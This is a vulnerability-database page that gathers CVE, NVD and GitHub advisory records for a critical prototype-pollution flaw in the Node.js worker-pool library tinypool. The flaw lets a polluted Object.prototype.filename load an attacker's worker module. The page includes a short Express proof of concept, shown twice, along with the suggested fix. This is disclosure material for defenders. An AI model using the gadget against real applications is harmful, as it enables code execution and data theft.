Vulnerability-Lookup

CVE-2026-104849 (GCVE-0-2026-104849)

Vulnerability from cvelistv5 – Published: 2026-10-02 16:17 – Updated: 2026-10-06 16:35

Title

Tinypool: Prototype Pollution Gadget to RCE in run() options

Summary

Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.2, Tinypool reads filename from a caller-supplied options object in pool.run(task, options) without requiring an own property, so a polluted Object.prototype.filename can replace the intended worker module. Applications are affected only when they pass their own second-argument options object to pool.run(); calls without that argument use the trusted default options object. An attacker who can first pollute the prototype can cause the worker pool to load attacker-selected JavaScript and can read or modify task data with the host process's privileges. This issue is fixed in version 2.1.2.

Severity

9.5 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-06 16:35 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7920 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/tinylibs/tinypool/security/adv…	x_refsource_CONFIRM
https://github.com/tinylibs/tinypool/pull/135	x_refsource_MISC
https://github.com/tinylibs/tinypool/commit/f4141…	x_refsource_MISC
https://github.com/tinylibs/tinypool/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
tinylibs	tinypool	Affected: < 2.1.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-104849

Vulnerability from fkie_nvd - Published: 2026-10-02 17:17 - Updated: 2026-10-06 17:17

Severity

9.5 (Critical) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/tinylibs/tinypool/commit/f41411a3e23324c674f35a19a3240f7a7c40ffbf
	security-advisories@github.com	https://github.com/tinylibs/tinypool/pull/135
	security-advisories@github.com	https://github.com/tinylibs/tinypool/releases/tag/v2.1.2
	security-advisories@github.com	https://github.com/tinylibs/tinypool/security/advisories/GHSA-85c8-ppgw-ccpr
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/tinylibs/tinypool/security/advisories/GHSA-85c8-ppgw-ccpr

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "tinypool",
          "vendor": "tinylibs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.2"
            }
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    }
  ],
  "id": "CVE-2026-104849",
  "lastModified": "2026-10-06T17:17:15.700",
  "metrics": {
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          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
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        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-104849",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-06T16:35:41.151003Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-02T17:17:03.623",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinylibs/tinypool/commit/f41411a3e23324c674f35a19a3240f7a7c40ffbf"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinylibs/tinypool/pull/135"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinylibs/tinypool/releases/tag/v2.1.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinylibs/tinypool/security/advisories/GHSA-85c8-ppgw-ccpr"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/tinylibs/tinypool/security/advisories/GHSA-85c8-ppgw-ccpr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        },
        {
          "lang": "en",
          "value": "CWE-1321"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-85C8-PPGW-CCPR

Vulnerability from github – Published: 2026-10-05 22:49 – Updated: 2026-10-05 22:49

Summary

Tinypool: Prototype Pollution Gadget to RCE in run() options

Details

tinypool is a fork of piscina and inherited the same prototype-pollution surface. When pool.run(task, options) is called, the filename option is read from the provided options object. If that object does not have an own filename property, the lookup falls through to Object.prototype.

An attacker who can pollute Object.prototype.filename (for example, via a vulnerable lodash.merge, qs.parse, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module.

This is the tinypool counterpart to the piscina root discovery GHSA-x9g3-xrwr-cwfg.

pool.run(task) with no second argument is not affected, because kDefaultOptions.filename is null and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to pool.run().

Impact

Arbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the run() task and also supplies a run() options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration.

Proof of Concept

// legitimate-worker.mjs
export default async (task) => ({ by: 'legitimate-worker', processed: task })

// malicious-worker.mjs
export default async (task) => ({ by: 'attacker', stolenRequestBody: task })

// main.js
import express from "express";
import Tinypool from "tinypool";
import { fileURLToPath } from "node:url";
import path from "node:path";

const __dirname = path.dirname(fileURLToPath(import.meta.url));

// Simulate upstream prototype pollution (lodash merge, qs parse, etc.)
Object.prototype.filename = path.join(__dirname, "malicious-worker.mjs");

const pool = new Tinypool({
  filename: path.join(__dirname, "legitimate-worker.mjs"),
});

express()
  .use(express.json())
  .post("/", async (req, res) => {
    const ac = new AbortController();
    const result = await pool.run(req.body, { signal: ac.signal });
    res.json(result);
  })
  .listen(31337);

Suggested fix

Read all user-supplied options from own properties only (Object.hasOwn or Object.prototype.hasOwnProperty.call) and build the internal ThreadPool.options object with a null prototype.

Severity

9.5 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tinypool"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-104849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:49:52Z",
    "nvd_published_at": "2026-10-02T17:17:03Z",
    "severity": "CRITICAL"
  },
  "details": "`tinypool` is a fork of `piscina` and inherited the same prototype-pollution surface. When `pool.run(task, options)` is called, the `filename` option is read from the provided `options` object. If that object does not have an own `filename` property, the lookup falls through to `Object.prototype`.\n\nAn attacker who can pollute `Object.prototype.filename` (for example, via a vulnerable `lodash.merge`, `qs.parse`, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module.\n\nThis is the tinypool counterpart to the piscina root discovery [GHSA-x9g3-xrwr-cwfg](https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg).\n\n`pool.run(task)` with no second argument is not affected, because `kDefaultOptions.filename` is `null` and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to `pool.run()`.\n\n## Impact\n\nArbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the `run()` task and also supplies a `run()` options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration.\n\n## Proof of Concept\n\n```js\n// legitimate-worker.mjs\nexport default async (task) =\u003e ({ by: \u0027legitimate-worker\u0027, processed: task })\n\n// malicious-worker.mjs\nexport default async (task) =\u003e ({ by: \u0027attacker\u0027, stolenRequestBody: task })\n\n// main.js\nimport express from \"express\";\nimport Tinypool from \"tinypool\";\nimport { fileURLToPath } from \"node:url\";\nimport path from \"node:path\";\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\n\n// Simulate upstream prototype pollution (lodash merge, qs parse, etc.)\nObject.prototype.filename = path.join(__dirname, \"malicious-worker.mjs\");\n\nconst pool = new Tinypool({\n  filename: path.join(__dirname, \"legitimate-worker.mjs\"),\n});\n\nexpress()\n  .use(express.json())\n  .post(\"/\", async (req, res) =\u003e {\n    const ac = new AbortController();\n    const result = await pool.run(req.body, { signal: ac.signal });\n    res.json(result);\n  })\n  .listen(31337);\n```\n\n## Suggested fix\n\nRead all user-supplied options from own properties only (`Object.hasOwn` or `Object.prototype.hasOwnProperty.call`) and build the internal `ThreadPool.options` object with a null prototype.",
  "id": "GHSA-85c8-ppgw-ccpr",
  "modified": "2026-10-05T22:49:52Z",
  "published": "2026-10-05T22:49:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/security/advisories/GHSA-85c8-ppgw-ccpr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104849"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/pull/135"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/commit/f41411a3e23324c674f35a19a3240f7a7c40ffbf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinylibs/tinypool"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinylibs/tinypool/releases/tag/v2.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Tinypool: Prototype Pollution Gadget to RCE in run() options"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
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Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-104849 (GCVE-0-2026-104849)

FKIE_CVE-2026-104849

GHSA-85C8-PPGW-CCPR

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